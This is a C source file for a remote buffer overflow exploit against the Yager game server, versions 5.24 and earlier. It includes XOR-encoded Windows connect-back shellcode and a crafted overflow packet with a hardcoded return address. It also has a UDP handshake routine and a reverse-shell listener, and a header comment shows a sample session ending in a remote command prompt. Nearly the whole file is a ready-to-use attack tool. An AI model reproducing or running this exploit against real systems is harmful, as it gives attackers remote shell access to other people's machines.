yager524.txt

`/*  
*  
* Yager <= 5.24 Remote Buffer Overflow Exploit  
*  
* cybertronic[at]gmx[dot]net  
* 04/25/2005  
*  
* send all the money to Luigi Auriemma  
* __ __ _  
* _______ __/ /_ ___ _____/ /__________ ____ (_)____  
* / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/  
* / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__  
* \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/  
* /____/  
*  
* --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net  
* --[ select target  
* --[ 0 [0xdeadc0de] crash server  
* --[ 1 [0x300686bd] binkw32.dll ver: 1.5.11.0 [ Working on WinXP Pro SP1 GER]  
* >> 1  
* --[ sending handshake [UDP]...done!  
* --[ reading server response [UDP]...done!  
* --[ server port: 1089  
* --[ connecting to 192.168.2.100:1089 [TCP]...done!  
* --[ exploiting WinXP Pro SP1 GER  
* --[ ret: 0x300686bd [ jmp esp in binkw32.dll ]  
* --[ exploiting packet overflow...  
* --[ sending packet...done!  
* --[ starting reverse handler [port: 1337]...done!  
* --[ incomming connection from: 192.168.2.100  
* --[ b0x pwned - h4ve phun  
* Microsoft Windows XP [Version 5.1.2600]  
* (C) Copyright 1985-2001 Microsoft Corp.  
*  
* C:\Yager>  
*  
*/  
  
  
#include <stdio.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <netdb.h>  
  
#define PORT_UDP 34855  
  
#define RED "\E[31m\E[1m"  
#define GREEN "\E[32m\E[1m"  
#define YELLOW "\E[33m\E[1m"  
#define BLUE "\E[34m\E[1m"  
#define NORMAL "\E[m"  
  
/*  
*  
* prototypes  
*  
*/  
  
int exploit ( int s, unsigned long xoredip, unsigned short xoredcbport, unsigned long ret );  
int isip ( char *ip );  
int send_handshake ( int s, struct sockaddr_in remote_addr );  
int shell ( int s, char* tip, unsigned short cbport );  
  
void header ();  
void start_reverse_handler ( char* argv3 );  
  
/*********************  
* Windows Shellcode *  
*********************/  
  
/*  
* Type : connect back shellcode  
* Length: 316 bytes  
* CBIP : reverseshell[111] ( ^ 0x99999999 )  
* CBPort: reverseshell[118] ( ^ 0x9999 )  
*  
*/  
  
unsigned char reverseshell[] =  
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"  
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"  
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"  
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"  
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"  
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"  
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"  
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"  
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"  
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"  
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"  
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"  
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"  
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"  
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"  
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"  
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"  
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"  
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"  
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0";  
  
/*  
*  
* structures  
*  
*/  
  
struct targets {  
int num;  
unsigned long ret;  
char name[64];   
}  
target[]= {  
{ 0, 0xdeadc0de, "crash server" },  
{ 1, 0x300686bd, "binkw32.dll ver: 1.5.11.0 [ Working on WinXP Pro SP1 GER]" } //push esp in binkw32.dll  
};  
  
/*  
*  
* functions  
*  
*/  
  
int  
exploit ( int s, unsigned long xoredcbip, unsigned short xoredcbport, unsigned long ret )  
{  
int r;  
char buffer_pack[592];  
  
printf ( "--[ exploiting WinXP Pro SP1 GER\n" );  
printf ( "--[ ret: 0x%08x [ jmp esp in binkw32.dll ]\n", ret );  
  
memcpy ( &reverseshell[111], &xoredcbip, 4);  
memcpy ( &reverseshell[118], &xoredcbport, 2);  
  
r = ~time ( NULL ) & 0xffff;  
printf ( "--[ exploiting packet overflow...\n" );  
bzero ( &buffer_pack, sizeof ( buffer_pack ) );  
memset ( buffer_pack, 0x41, 268 );  
strncat ( buffer_pack, ( unsigned char* ) &ret, 4 );  
strncat ( buffer_pack, "\x41\x41\x41\x41", 4 ); //4 bytes padding  
memcpy ( buffer_pack + 276, reverseshell, sizeof ( reverseshell ) - 1 );  
buffer_pack[0] = 0x00;  
buffer_pack[1] = 0x00;  
buffer_pack[2] = 0x00;  
buffer_pack[3] = 0x00;  
buffer_pack[4] = 0x46; //sizeof ( buffer_pack ) - 0xa; 582d / 246h  
buffer_pack[5] = 0x02; //sizeof ( buffer_pack ) - 0xa; 582d / 246h  
buffer_pack[6] = ( r & 0x00ff );  
buffer_pack[7] = ( ( r & 0xff00 ) >> 8 );  
buffer_pack[8] = 0x00;  
buffer_pack[9] = 0x00;  
printf ( "--[ sending packet..." );  
if ( write ( s, buffer_pack, sizeof ( buffer_pack ) ) <= 0 )  
{  
printf ( "failed!\n" );  
return ( 1 );  
}  
printf ( "done!\n" );  
return ( 0 );  
}  
  
int  
isip ( char *ip )  
{  
int a, b, c, d;  
  
if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )  
return ( 0 );  
if ( a < 1 )  
return ( 0 );  
if ( a > 255 )  
return 0;  
if ( b < 0 )  
return 0;  
if ( b > 255 )  
return 0;  
if ( c < 0 )  
return 0;  
if ( c > 255 )  
return 0;  
if ( d < 0 )  
return 0;  
if ( d > 255 )  
return 0;  
return 1;  
}  
  
int  
send_handshake ( int s, struct sockaddr_in remote_addr )  
{  
char* p;  
char crap[23];  
char in[2048];  
unsigned short port;  
  
bzero ( &crap, sizeof ( crap ) );  
crap[0] = 0x59;  
crap[1] = 0x5f;  
crap[2] = 0x4e;  
crap[3] = 0x45;  
crap[4] = 0x54;  
crap[5] = 0x5f;  
crap[6] = 0x59;  
crap[7] = 0x41;  
crap[8] = 0x47;  
crap[9] = 0x45;  
crap[10] = 0x52;  
crap[11] = 0x5f;  
crap[12] = 0x43;  
crap[13] = 0x4c;  
crap[14] = 0x49;  
crap[15] = 0x45;  
crap[16] = 0x4e;  
crap[17] = 0x54;  
crap[18] = 0x00;  
*( u_short* ) ( crap + 19 ) = ~time ( NULL );  
crap[21] = 0x00;  
crap[22] = 0x00;  
printf ( "--[ sending handshake [UDP]..." );  
if ( sendto ( s, crap, sizeof ( crap ), 0, ( struct sockaddr* ) &remote_addr, sizeof ( remote_addr ) ) < 0 )  
{  
printf ( "failed!\n" );  
return ( 1 );  
}  
printf ( "done!\n" );  
printf ( "--[ reading server response [UDP]..." );  
bzero ( &in, sizeof ( in ) );  
if ( recvfrom ( s, in, sizeof ( in ) -1, 0, NULL, NULL ) < 0 )  
{  
printf ( "failed!\n" );  
return ( 1 );  
}  
printf ( "done!\n" );  
p = in + 19;  
port = ntohs ( *( u_short * ) p );  
printf ( "--[ server port: %d\n", port );  
return ( port );  
}  
  
int  
shell ( int s, char* tip, unsigned short cbport )  
{  
int n;  
char buffer[2048];  
fd_set fd_read;  
  
printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );  
  
FD_ZERO ( &fd_read );  
FD_SET ( s, &fd_read );  
FD_SET ( 0, &fd_read );  
  
while ( 1 )  
{  
FD_SET ( s, &fd_read );  
FD_SET ( 0, &fd_read );  
  
if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )  
break;  
if ( FD_ISSET ( s, &fd_read ) )  
{  
if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )  
{  
printf ( "bye bye...\n" );  
return;  
}  
if ( write ( 1, buffer, n ) < 0 )  
{  
printf ( "bye bye...\n" );  
return;  
}  
}  
if ( FD_ISSET ( 0, &fd_read ) )  
{  
if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )  
{  
printf ( "bye bye...\n" );  
return;  
}  
if ( send ( s, buffer, n, 0 ) < 0 )  
{  
printf ( "bye bye...\n" );  
return;  
}  
}  
usleep(10);  
}  
}  
  
void  
header ()  
{  
printf ( " __ __ _ \n" );  
printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );  
printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" );  
printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );  
printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );  
printf ( " /____/ \n\n" );  
printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );  
}  
  
void  
start_reverse_handler ( char* argv3 )  
{  
int s1, s2;  
unsigned short cbport;  
struct sockaddr_in cliaddr, servaddr;  
socklen_t clilen = sizeof ( cliaddr );  
  
sscanf ( argv3, "%u", &cbport );  
  
bzero ( &servaddr, sizeof ( servaddr ) );  
servaddr.sin_family = AF_INET;  
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );  
servaddr.sin_port = htons ( cbport );  
  
printf ( "--[ starting reverse handler [port: %u]...", cbport );  
if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )  
{  
printf ( "socket failed!\n" );  
exit ( 1 );  
}  
bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );  
if ( listen ( s1, 1 ) == -1 )  
{  
printf ( "listen failed!\n" );  
exit ( 1 );  
}  
printf ( "done!\n" );  
if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )  
{  
printf ( "accept failed!\n" );  
exit ( 1 );  
}  
close ( s1 );  
printf ( "--[ incomming connection from:\t%s\n", inet_ntoa ( cliaddr.sin_addr ) );  
shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport );  
close ( s2 );  
}  
  
int  
main ( int argc, char* argv[] )  
{  
int s1, s2, targ, i;  
unsigned long xoredcbip;  
unsigned short cbport, xoredcbport, port;  
struct sockaddr_in remote_addr;  
struct hostent* host_addr;  
  
if ( argc != 4 )  
{  
printf ( "Usage: %s <ip> <cbip> <cbport>\n", argv[0] );  
exit ( 1 );  
}  
system ( "clear" );  
header ();  
if ( !isip ( argv[1] ) )  
{  
printf ( "Invalid Target IP!\n" );  
exit ( 1 );  
}  
if ( !isip ( argv[2] ) )  
{  
printf ( "Invalid connect back IP!\n" );  
exit ( 1 );  
}  
printf("--[ select target\n");  
for ( i = 0; i < 2; i++ )  
printf ( "--[ %d [0x%08x] %s\n", target[i].num, target[i].ret, target[i].name );  
printf ( " >> " );  
scanf ( "%d", &targ );  
if ( targ != 0 )  
if ( targ != 1 )  
{  
printf ( "--[ invalid target!\n" );  
exit ( 1 );  
}  
if ( ( host_addr = gethostbyname ( argv[1] ) ) == NULL )  
{  
fprintf ( stderr, "cannot resolve \"%s\"\n", argv[1] );  
exit ( 1 );  
}  
remote_addr.sin_family = AF_INET;  
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );  
remote_addr.sin_port = htons ( PORT_UDP );  
if ( ( s1 = socket ( AF_INET, SOCK_DGRAM, IPPROTO_UDP ) ) < 0 )  
{  
printf ( "socket failed!\n" );  
exit ( 1 );  
}  
if ( ( port = send_handshake ( s1, remote_addr ) ) == 1 )  
{  
printf ( "handshake FAILED!\n" );  
exit ( 1 );  
}  
close ( s1 );  
if ( ( s2 = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )  
{  
printf ( "socket failed!\n" );  
exit ( 1 );  
}  
printf ( "--[ connecting to %s:%u [TCP]...", argv[1], port );  
remote_addr.sin_port = htons ( port );  
if ( connect ( s2, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )  
{  
printf ( "failed!\n" );  
exit ( 1 );  
}  
printf ( "done!\n" );  
  
xoredcbip = inet_addr ( argv[2] ) ^ ( unsigned long ) 0x99999999;  
xoredcbport = htons ( atoi ( argv[3] ) ) ^ ( unsigned short ) 0x9999;  
  
if ( exploit ( s2, xoredcbip, xoredcbport, target[targ].ret ) == 1 )  
{  
printf ( "exploitation FAILED!\n" );  
exit ( 1 );  
}  
close ( s2 );  
start_reverse_handler ( argv[3] );  
}  
  
`